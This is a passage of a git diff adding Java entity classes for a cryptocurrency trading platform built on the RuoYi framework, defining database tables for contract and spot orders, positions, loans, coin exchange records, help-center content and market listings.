com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_collection_order + * + * @author ruoyi + * @date 2023-09-08 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_collection_order") +public class TCollectionOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 订单号 + */ + private String orderId; + /** + * 用户ID + */ + private Long userId; + /** + * 归集地址 + */ + private String address; + /** + * 地址类型 + */ + private String chain; + /** + * hash + */ + private String hash; + /** + * 归集金额 + */ + private BigDecimal amount; + /** + * 币种 + */ + private String coin; + /** + * 1 进行中 2 归集成功 3 归集失败 + */ + private String status; + /** + * 客户端名称 + */ + private String clientName; + /** + * + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java new file mode 100644 index 0000000..7beb4d0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java @@ -0,0 +1,189 @@ +package com.ruoyi.bussiness.domain; + +import java.math.BigDecimal; +import java.util.Date; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableName; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.data.annotation.Transient; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * U本位合约币种对象 t_contract_coin + * + * @author michael + * @date 2023-07-20 + */ +@Data +@TableName("t_contract_coin") +public class TContractCoin +{ + private static final long serialVersionUID = 1L; + + /** 主键 */ + private Long id; + + /** 交易对 */ + @Excel(name = "交易对") + private String symbol; + + /** 币种 */ + @Excel(name = "币种") + private String coin; + + /** 基础币种 */ + @Excel(name = "基础币种") + private String baseCoin; + + /** 合约面值(1手多少 如 1手=0.01BTC) */ + @Excel(name = "合约面值", readConverterExp = "1=手多少,如=,1=手=0.01BTC") + private BigDecimal shareNumber; + + /** 杠杆倍数 */ + @Excel(name = "杠杆倍数") + private String leverage; + + /** 0 启用 1 禁止 */ + @Excel(name = "0 启用 1 禁止") + private Long enable; + + /** 前端显示0启用 1 禁止 */ + @Excel(name = "前端显示0启用 1 禁止") + private Long visible; + + /** 是否可交易(0 可以 1 禁止) */ + @Excel(name = "是否可交易", readConverterExp = "0=,可=以,1=,禁=止") + private Long exchangeable; + + /** 开空 (0 是 1 否) */ + @Excel(name = "开空 ", readConverterExp = "0=,是=,1=,否=") + private Long enableOpenSell; + + /** 开多 (0 是 1 否) */ + @Excel(name = "开多 ", readConverterExp = "0=,是=,1=,否=") + private Long enableOpenBuy; + + /** 市价开空(0 是 1否) */ + @Excel(name = "市价开空", readConverterExp = "0=,是=,1=否") + private Long enableMarketSell; + + /** 市价开多(0 是 1否) */ + @Excel(name = "市价开多", readConverterExp = "0=,是=,1=否") + private Long enableMarketBuy; + + /** 开仓手续费 */ + @Excel(name = "开仓手续费") + private BigDecimal openFee; + + /** 平仓手续费 */ + @Excel(name = "平仓手续费") + private BigDecimal closeFee; + + /** 资金费率 */ + @Excel(name = "资金费率") + private BigDecimal usdtRate; + + /** 资金周期 */ + @Excel(name = "资金周期") + private BigDecimal intervalHour; + + /** 币种小数精度 */ + @Excel(name = "币种小数精度") + private BigDecimal coinScale; + + /** 基础币小数精度 */ + @Excel(name = "基础币小数精度") + private BigDecimal baseScale; + + /** 最小数(以手为单位 ) */ + @Excel(name = "最小数", readConverterExp = "以=手为单位") + private BigDecimal minShare; + + /** 最大数(以手为单位 ) */ + @Excel(name = "最大数", readConverterExp = "以=手为单位") + private BigDecimal maxShare; + + /** 平台收益 */ + @Excel(name = "平台收益") + private BigDecimal totalProfit; + + /** 排序字段 */ + @Excel(name = "排序字段") + private Long sort; + + /** + * 显示币种 + */ + private String showSymbol; + + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + /** + * 图标 + */ + private String logo; + + + /** + * 交易所 + */ + private String market; + + + @TableField(exist = false) + private Integer isCollect; + + //交割时间 + private Integer deliveryDays; + + //最小保证金 + private BigDecimal minMargin; + + //止盈率 + private BigDecimal earnRate; + + //止损率 + private BigDecimal lossRate; + + @TableField(exist = false) + private BigDecimal amount; + + @TableField(exist = false) + private BigDecimal open; + + /** + * 浮动盈利点 + */ + private BigDecimal floatProfit; + + /** + * 浮动盈亏 + */ + private BigDecimal profitLoss; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java new file mode 100644 index 0000000..e5e369c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java @@ -0,0 +1,102 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Map; + +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * 止盈止损表对象 t_contract_loss + * + * @author ruoyi + * @date 2023-07-25 + */ +@Data +@TableName("t_contract_loss") +public class TContractLoss { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 委托类型(0 限价 1 市价) + */ + private Integer delegateType; + /** + * 状态 0 正常 1 删除 2 撤销 + */ + private Integer status; + /** + * 仓位ID + */ + private Long positionId; + /** + * 用户id + */ + private Long userId; + /** + * 止盈触发价 + */ + private BigDecimal earnPrice; + /** + * 止损触发价 + */ + private BigDecimal losePrice; + /** + * 止盈委托价 + */ + private BigDecimal earnDelegatePrice; + /** + * 止损委托价 + */ + private BigDecimal loseDelegatePrice; + /** + * 止盈数量 + */ + private BigDecimal earnNumber; + /** + * 止损数量 + */ + private BigDecimal loseNumber; + /** + * 0 止盈 1止损 + */ + private Long lossType; + + + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + private String symbol; + + private BigDecimal leverage; + + private Integer type; + @TableField(exist=false) + private Map params; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java new file mode 100644 index 0000000..095ef14 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java @@ -0,0 +1,126 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.Map; + +/** + * U本位委托对象 t_contract_order + * + * @author michael + * @date 2023-07-20 + */ +@Data +@TableName("t_contract_order") +public class TContractOrder { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * (0 买多 1卖空) + */ + private Integer type; + /** + * 委托类型(0 限价 1 市价 2 止盈止损 3 计划委托) + */ + private Integer delegateType; + /** + * 状态 0 (等待成交 1 完全成交 3已撤销) + */ + private Integer status; + /** + * 委托总量 + */ + private BigDecimal delegateTotal; + /** + * 委托价格 + */ + private BigDecimal delegatePrice; + /** + * 已成交量 + */ + private BigDecimal dealNum; + /** + * 成交价 + */ + private BigDecimal dealPrice; + /** + * 委托价值 + */ + private BigDecimal delegateValue; + /** + * 成交价值 + */ + private BigDecimal dealValue; + /** + * 委托时间 + */ + private Date delegateTime; + /** + * 成交时间 + */ + private Date dealTime; + /** + * 交易币种 + */ + private String coinSymbol; + /** + * 订单编号 + */ + private String orderNo; + /** + * 用户id + */ + private Long userId; + /** + * 手续费 + */ + private BigDecimal fee; + /** + * 基础币种(USDT) + */ + private String baseCoin; + /** + * 杠杆 + */ + private BigDecimal leverage; + /** + * 交易对 + */ + private String symbol; + /** + * 代理IDS + */ + private String adminParentIds; + + + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + @TableField(exist=false) + private Map params; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java new file mode 100644 index 0000000..c4f585f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java @@ -0,0 +1,166 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.Map; + +/** + * U本位持仓表对象 t_contract_position + * + * @author michael + * @date 2023-07-20 + */ +@Data +@TableName("t_contract_position") +public class TContractPosition { + + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id", type = IdType.AUTO) + private Long id; + /** + * 购买类型(0 买多 1卖空)") + */ + private Integer type; + /** + * 委托类型(0 限价 1 市价 2 止盈止损 3 计划委托) + */ + private Integer delegateType; + /** + * 状态 0 (等待成交 1 完全成交 + */ + private Integer status; + /** + * 保证金 + */ + private BigDecimal amount; + /** + * 持仓数量 + */ + private BigDecimal openNum; + /** + * 开仓均价 + */ + private BigDecimal openPrice; + /** + * 预计强平价 + */ + private BigDecimal closePrice; + /** + * 仓位编号 + */ + private String orderNo; + /** + * 用户id + */ + private Long userId; + /** + * 开仓手续费 + */ + private BigDecimal openFee; + /** + * 杠杆 + */ + private BigDecimal leverage; + /** + * 交易对 + */ + private String symbol; + /** + * 调整保证金 + */ + private BigDecimal adjustAmount; + /** + * 收益 + */ + private BigDecimal earn; + /** + * 成交价 + */ + private BigDecimal dealPrice; + /** + * 成交量 + */ + private BigDecimal dealNum; + /** + * 成交时间 + */ + private Date dealTime; + /** + * 卖出手续费 + */ + private BigDecimal sellFee; + /** + * 剩余保证金 + */ + private BigDecimal remainMargin; + /** + * 周期手续费 + */ + private BigDecimal assetFee; + + /** + * 代理IDS + */ + private String adminParentIds; + + + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + //委托价值 + private BigDecimal entrustmentValue; + + //成交价值 + private BigDecimal dealValue; + @TableField(exist = false) + private Map params; + + + //审核状态 0提交 3 待审 1通过 2拒绝 + private Integer auditStatus; + //交割时间 + private Integer deliveryDays; + + //最小保证金 + private BigDecimal minMargin; + + //止盈率 + private BigDecimal earnRate; + + //止损率 + private BigDecimal lossRate; + + //提交平仓时间 + private Date subTime; + + + @TableField(exist = false) + private String userName; + + @TableField(exist = false) + private BigDecimal ureate; + //补仓金额差 + @TableField(exist = false) + private BigDecimal subAmount; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java new file mode 100644 index 0000000..8c5af40 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 币币交易订单对象 t_currency_order + * + * @author ruoyi + * @date 2023-07-25 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_currency_order") +public class TCurrencyOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * (0 买入 1卖出) + */ + private Integer type; + /** + * 委托类型(0 限价 1 市价 2 止盈止损 3 计划委托) + */ + private Integer delegateType; + /** + * 状态 0 (等待成交 1 完全成交 3已撤销) + */ + private Integer status; + /** + * 订单编号 + */ + private String orderNo; + /** + * 交易币种 + */ + private String symbol; + /** + * 结算币种 + */ + private String coin; + /** + * 手续费 + */ + private BigDecimal fee; + /** + * 委托总量 + */ + private BigDecimal delegateTotal; + /** + * 委托价格 + */ + private BigDecimal delegatePrice; + /** + * 已成交量 + */ + private BigDecimal dealNum; + /** + * 成交价 + */ + private BigDecimal dealPrice; + /** + * 委托价值 + */ + private BigDecimal delegateValue; + /** + * 成交价值 + */ + private BigDecimal dealValue; + /** + * 委托时间 + */ + private Date delegateTime; + /** + * 成交时间 + */ + private Date dealTime; + /** + * 用户id + */ + private Long userId; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 后台代理id + */ + private String adminParentIds; + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java new file mode 100644 index 0000000..676a53a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java @@ -0,0 +1,134 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.Transient; + +/** + * 币币交易币种配置对象 t_currency_symbol + * + * @author ruoyi + * @date 2023-07-25 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_currency_symbol") +public class TCurrencySymbol extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 交易对 + */ + private String symbol; + /** + * 展示交易对 + */ + private String showSymbol; + /** + * 交易币种 + */ + private String coin; + /** + * 结算币种 + */ + private String baseCoin; + /** + * 手续费率 + */ + private BigDecimal feeRate; + /** + * 交易币种精度 + */ + private Integer coinPrecision; + /** + * 结算币种精度 + */ + private Integer basePrecision; + /** + * 最低卖单价 + */ + private BigDecimal sellMin; + /** + * 最高买单价 + */ + private BigDecimal buyMax; + /** + * 最小下单量 + */ + private BigDecimal orderMin; + /** + * 最大下单量 + */ + private BigDecimal orderMax; + /** + * 启用禁用 1=启用 2=禁用 + */ + private String enable; + /** + * 前端是否显示 1=显示 2=隐藏 + */ + private String isShow; + /** + * 是否可交易 1=是 2=否 + */ + private String isDeal; + /** + * 市价买 1=可以 2=不可以 + */ + private String marketBuy; + /** + * 市价卖 1=可以 2=不可以 + */ + private String marketSell; + /** + * 限价买 1=可以 2=不可以 + */ + private String limitedBuy; + /** + * 限价卖 1=可以 2=不可以 + */ + private String limitedSell; + /** + * 图标 + */ + private String logo; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 交易所 + */ + private String market; + + + + @TableField(exist = false) + private Integer isCollect; + + @TableField(exist = false) + private BigDecimal amount; + + /** + * 最小卖出数量 + */ + private BigDecimal minSell; + @TableField(exist = false) + private BigDecimal open; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java new file mode 100644 index 0000000..7f0dce5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java @@ -0,0 +1,88 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 币种兑换记录对象 t_exchange_coin_record + * + * @author ruoyi + * @date 2023-07-07 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_exchange_coin_record") +public class TExchangeCoinRecord extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * $column.columnComment + */ + private String fromCoin; + /** + * $column.columnComment + */ + private String toCoin; + /** + * 用户id + */ + private Long userId; + /** + * +用户名称 + */ + private String username; + /** + * 用户地址 + */ + private String address; + /** + * 兑换状态0:已提交;1:成功;2失败 + */ + private Integer status; + /** + * 金额 + */ + private BigDecimal amount; + /** + * 三方汇率 + */ + private BigDecimal thirdRate; + /** + * 系统汇率 + */ + private BigDecimal systemRate; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 后台代理id + */ + private String adminParentIds; + + + public String getExchangeType(){ + return this.fromCoin+this.toCoin; + } + + @JsonIgnore + public String getFromToRemark() { + return String.format("%s转%s,三方汇率:%s,系统汇率:%s", fromCoin, toCoin, thirdRate, systemRate); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java new file mode 100644 index 0000000..2e0a32f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java @@ -0,0 +1,56 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 帮助中心对象 t_help_center + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_help_center") +public class THelpCenter extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 语言 + */ + private String language; + /** + * 1=启用 2=禁用 + */ + private String enable; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + /** + * $column.columnComment + */ + private String showSymbol; + + @TableField(exist = false) + private List infoList; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java new file mode 100644 index 0000000..1160081 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java @@ -0,0 +1,60 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 帮助中心问题详情对象 t_help_center_info + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_help_center_info") +public class THelpCenterInfo extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 帮助中心主键id + */ + private Long helpCenterId; + /** + * 标题 + */ + private String question; + /** + * 内容 + */ + private String content; + /** + * 语言 + */ + private String language; + /** + * 1=启用 2=禁用 + */ + private String enable; + /** + * 0=正常 1=删除 + */ + @TableLogic + private String delFlag; + /** + * $column.columnComment + */ + private String showSymbol; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java new file mode 100644 index 0000000..b41c714 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 规则说明对象 t_home_setter + * + * @author ruoyi + * @date 2023-07-19 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_home_setter") +public class THomeSetter extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 标题 + */ + private String title; + /** + * 作者 + */ + private String author; + /** + * 内容 + */ + private String content; + /** + * 图片地址 + */ + private String imgUrl; + /** + * 排序 + */ + private Long sort; + /** + * 是否展示 0展示 2不展示 + */ + private String isShow; + /** + * 语言 + */ + private String languageName; + /** + * 点赞数 + */ + private Integer likesNum; + /** + * 类型(0 首页文本 1 问题列表) + */ + private Integer homeType; + /** + * 功能(0=首页 1=defi挖矿 2=助力贷) + */ + private Integer modelType; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java new file mode 100644 index 0000000..d76f88e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java @@ -0,0 +1,118 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 贷款订单对象 t_load_order + * + * @author ruoyi + * @date 2023-07-14 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_load_order") +public class TLoadOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 贷款商品表id + */ + private Long proId; + /** + * 用户id + */ + private Long userId; + /** + * 贷款金额 + */ + private BigDecimal amount; + /** + * 贷款利率 + */ + private BigDecimal rate; + /** + * 利息 + */ + private BigDecimal interest; + /** + * 0=待审核 1=审核通过 2=审核拒绝 3=已结清 4=已逾期 + */ + private Integer status; + /** + * 最后还款日 + */ + private Date finalRepayTime; + /** + * 放款日期 + */ + private Date disburseTime; + /** + * 还款日期 + */ + private Date returnTime; + /** + * 审批金额 + */ + private BigDecimal disburseAmount; + /** + * 后台代理ids + */ + private String adminParentIds; + /** + * 手持身份证 + */ + private String cardUrl; + /** + * 身份证正面 + */ + private String cardBackUrl; + /** + * 身份证反面 + */ + private String capitalUrl; + /** + * $column.columnComment + */ + private String licenseUrl; + /** + * $column.columnComment + */ + private String orderNo; + /** + * 还款周期 + */ + private Integer cycleType; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 逾期利息 + */ + @TableField(exist = false) + private BigDecimal lastInstets; + /** + *逾期天数 + */ + private Integer days; + + @TableField(exist = false) + private TLoadProduct tLoadProduct; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java new file mode 100644 index 0000000..bfc563a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java @@ -0,0 +1,68 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 借贷产品对象 t_load_product + * + * @author ruoyi + * @date 2023-07-13 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_load_product") +public class TLoadProduct extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 贷款最小额度 + */ + private BigDecimal amountMin; + /** + * 贷款最大额度 + */ + private BigDecimal amountMax; + /** + * 周期类型 0-7天 1-14天 2-30天 ,,,,待补充 + */ + private Long cycleType; + /** + * 还款类型 0-到期一次换本息...待补充 + */ + private Long repayType; + /** + * 状态 0 未开启 1已开启 + */ + private Long status; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 日利率(%) + */ + private BigDecimal odds; + /** + * 还款机构 + */ + private String repayOrg; + /** + * 是否冻结 1=正常 2=冻结 + */ + private String isFreeze; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java new file mode 100644 index 0000000..4c9815f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java @@ -0,0 +1,123 @@ +package com.ruoyi.bussiness.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.Id; + +/** + * 支持交易所对象 t_markets + * + * @author ruoyi + * @date 2023-06-26 + */ +public class TMarkets extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 交易所名称(ID) */ + @Id + private String slug; + + /** 交易所全称 */ + @Excel(name = "交易所全称") + private String fullname; + + /** 交易所官网链接 */ + @Excel(name = "交易所官网链接") + private String websiteUrl; + + /** 状态: [enable, disable]. disable为停止更新数据 */ + @Excel(name = "状态: [enable, disable]. disable为停止更新数据") + private String status; + + /** 是否接入K线数据 */ + @Excel(name = "是否接入K线数据") + private Boolean kline; + + /** 是否支持现货 */ + @Excel(name = "是否支持现货") + private Boolean spot; + + /** 是否支持期货 */ + @Excel(name = "是否支持期货") + private Boolean futures; + + public void setSlug(String slug) + { + this.slug = slug; + } + + public String getSlug() + { + return slug; + } + public void setFullname(String fullname) + { + this.fullname = fullname; + } + + public String getFullname() + { + return fullname; + } + public void setWebsiteUrl(String websiteUrl) + { + this.websiteUrl = websiteUrl; + } + + public String getWebsiteUrl() + { + return websiteUrl; + } + public void setStatus(String status) + { + this.status = status; + } + + public String getStatus() + { + return status; + } + public void setKline(Boolean kline) + { + this.kline = kline; + } + + public Boolean getKline() + { + return kline; + } + public void setSpot(Boolean spot) + { + this.spot = spot; + } + + public Boolean getSpot() + { + return spot; + } + public void setFutures(Boolean futures) + { + this.futures = futures; + } + + public Boolean getFutures() + { + return futures; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("slug", getSlug()) + .append("fullname", getFullname()) + .append("websiteUrl", getWebsiteUrl()) + .append("status", getStatus()) + .append("kline", getKline()) + .append("spot", getSpot()) + .append("futures", getFutures()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java new file mode 100644 index 0000000..aee5b27 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java @@ -0,0 +1,127 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import 